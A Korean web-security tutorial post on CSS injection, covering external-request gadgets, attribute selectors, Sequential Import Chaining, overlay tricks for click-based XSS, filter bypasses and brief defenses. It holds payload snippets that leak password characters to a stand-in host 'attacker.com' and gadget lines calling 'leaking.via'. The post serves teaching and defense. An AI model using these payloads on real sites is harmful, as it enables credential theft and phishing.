▶ CSS Injection?
CSS Injection 은 공격자가 삽입한 값을 통해서 웹 페이지 내 로드된 CSS(스타일시트) 또는 Style 태그와 속성 등 페이지의 CSS를 통제하는 취약점이다. 공격자가 임의의 CSS 속성을 삽입해 웹페이지의 UI(생김새)를 변조하여 피싱에 활용되거나 CSS 속성의 다양한 기능을 통해 웹 페이지내의 데이터를 외부로 훔칠수도 있으며, 다른 XSS나 CSRF 취약점이 쉽게 트리거될 수 있도록 사용자를 속이는데 사용될 수도 있다.
외부로 훔칠 수 있는 데이터의 예로는 CSRF Token, 피해자의 API Key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자를 통해 표현이 가능해야 한다. 그래서 CSS 선택자로 표현이 불가능한 "script"태그 내의 데이터들은 탈취할 수 없다.
CSS Injection은 그 파급력과 심각성에 비해 대중에 널리 알려지지 않고 다양한 웹 방화벽에서 차단하지 않는 입력값을 갖고 있다.
CSS Injection은 HTML(style) 영역에 공격자가 임의 입력값을 넣을 수 있거나 임의 HTML을 삽입할 수 있지만, 이 때 서비스에선 영향력을 줄이기 위해 position 등 허용된 영역 이외를 통제할 수 있는 CSS 규칙을 제한하고 있을 가능성이 매우 높다. 없을 경우, Content-Security-Policy로 인해 자바스크립트를 실행할 수 없는 등 다양한 상황에서 서비스 페이지의 전체 영역을 컨트롤 할 수 있는 등 다양하게 사용할 수 있다. 또한, 제한 로직이 있다 하더라도 이를 우회해서 CSS를 완벽하게 통제할 수 있다.
▶ CSS Injection exploit 전 숙지 사항
클라이언트사이드 공격을 통해 데이터를 외부로 탈취하기 위해서는 공격자의 서버로 요청을 보낼 수 있어야 한다. CSS 속성으로 외부요청(Ping Back)을 전송하는 방법이 있는데, CSS가 외부 리소스를 불러오는 기능이 있다는 점을 이용하는 것이다. 예를 들어, 다른 사이트의 이미지, 폰트 등이 있다. 여러 방법이 존재하지만 대표적으로 cure53의 HTTPLeaks 가젯을 이용할 수 있다.
CSS 가젯 | 설명 |
@import 'https://leaking.via/css-import-string'; | 외부 CSS파일을 로드한다. 모든 속성 중 가장 상단에 위치해야 한다. 그렇지 않을 경우 @import는 무시된다. |
@import url(https://leaking.via/css-import-url); | url 함수는 URL를 불러오는 역할을 한다. 상황에 따라 선택적으로 사용할 수 있다. |
background: url(https://leaking.via/css-background); | 요소의 배경을 변경할 때 사용할 이미지를 불러온다. |
@font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src);} | 불러올 폰트 파일의 주소를 지정한다. |
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); | CSS 에서 함수를 호출할 때 ascii 형태의 "url"이 아닌 hex형태인 "\000075\000072\00006C" 도 지원한다. |
또한, Sequential Import Chaining 기법을 이해하기 위해선, CSS Attribute Selector (특성 선택자)에 대한 이해도 꼭 필요하다. 특성 선택자의 내용은 다음과 같다.
구문 | 설명 |
[attr] | attr 이라는 이름의 특성을 가진 요소를 선택한다. |
[attr=value] | attr 이라는 이름의 특성값이 정확히 value 인 요소를 선택한다. |
[attr~=value] | attr 이라는 이름의 특성값이 정확히 value인 요소를 선택한다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있다. |
[attr^=value] | attr 이라는 특성값을 가지고 있으며, 접두사로 value 가 값에 포함되어 있으면 이 요소를 선택한다. |
[attr$=value] | attr 이라는 특성값을 가지고 있으며, 접미사로 value 가 값에 포함되어 있으면 이 요소를 선택한다. |
※ 출처 : https://developer.mozilla.org/ko/docs/Web/CSS/Attribute_selectors
▶ CSS Injection exploit
1. Sequential Import Chaining
Sequential Import Chaining은 CSS Injection이나 RPO(Relative Path Overwrite) 시 영향을 올리기 위한 Exploit 방법 중 하나이다. 이 방법은 위에서 언급한 CSS Attribute Selector (특성 선택자) 기능을 활용하는데, DOM Object의 value 값에 따라서 스타일을 지정할 수 있도록 제공하는 기능을 이용하는 방법이다. 탈취하려고 하는 Object의 name, id, class에 Attribute Selector를 모든 문자마다 이에 상응하는 background를 지정하여 사용자가 해당 Object에 키 입력 시 CSS에 따라서 변경된 주소를 호출하는 방법이다. 다음과 같은 CSS를 삽입한 페이지에서 패스워드를 작성하는 순간, 이미지 처리를 위해 공격자 서버로 요청이 발생하게 된다.
1
2
3
4
5
6
7
8
9
10
|
input[name=password][value^=a]{
background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
background: url('https://attacker.com/9');
}
|
cs |
단, 주입할 값이 어마어마하게 많아지는데, 이는 sic이란 도구를 사용할 수 있다. sic을 불러오는 과정은
[1] @import를 통해 staging payload를 읽어온다.
[2] staging payload에는 다시 @import를 사용해 여러 payload를 polling하는 코드가 존재한다.
[3] 각각 payload는 background를 통해 sig 서버를 호출하고, sig 서버는 이 값에 따라 다시 @import 규칙을 생성하여 브라우저가 처리하도록 만든다.
자세한 과정은 다음 링크에 첨부되어 있다.
https://www.hahwul.com/2022/02/28/sequential-import-chaining/
2. Reduce of Interaction
CSS Injection으로 Interaction이 필요한 다른 취약점의 난이도를 월등히 낮출 수 있다. 만약 특정 이미지를 클릭해야 동작하는 XSS가 있다고 한다면 CSS를 덮어써서 화면 전 영역에 노출시켜 사용자가 쉽게 클릭할 수 있도록 유도가 가능하다.
1
2
3
4
5
6
7
8
9
10
|
<style>
.tt {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
</style>
<img src="x" name="tt" onclick="tooltip('input');attack()//')">
|
cs |
▶ CSS Injection Bypass
1. Upper Case
CSS 속성은 대소문자를 구별하지 않으므로, 단순 필터링은 대소문자를 섞어 우회할 수 있다.
2. With var()
CSS에서도 변수를 선언하고 값을 읽어 사용할 수 있다. 이를 통해 position: fixed 란 문자열 형태로 검증하는 경우 우회가 가능하다.
1
2
3
4
5
6
|
.main {
--abc: fixed;
position: var(--abc);
top: 0;
left: 0;
}
|
cs |
▶ CSS Injection 방어기법
가급적 사용자에게 CSS 통제권을 주지 않는 것이 좋다. 통제할 수 있도록 제공해야 한다면, position: fixed와 같이 전체 페이지 영역을 컨트롤 할 수 없도록 제한해야 한다.
출처 : https://learn.dreamhack.io/327
https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection
https://www.hahwul.com/2022/02/28/sequential-import-chaining/
https://www.hahwul.com/cullinan/css-injection/
https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/
'정보보안(웹해킹) > 기타' 카테고리의 다른 글
[PHP 취약점] 총 정리 (0) | 2023.01.05 |
---|---|
인증/인가 취약점 (0) | 2022.12.30 |
CRLF injection (0) | 2022.12.22 |
[PHP취약점] php wrapper (0) | 2022.11.26 |
댓글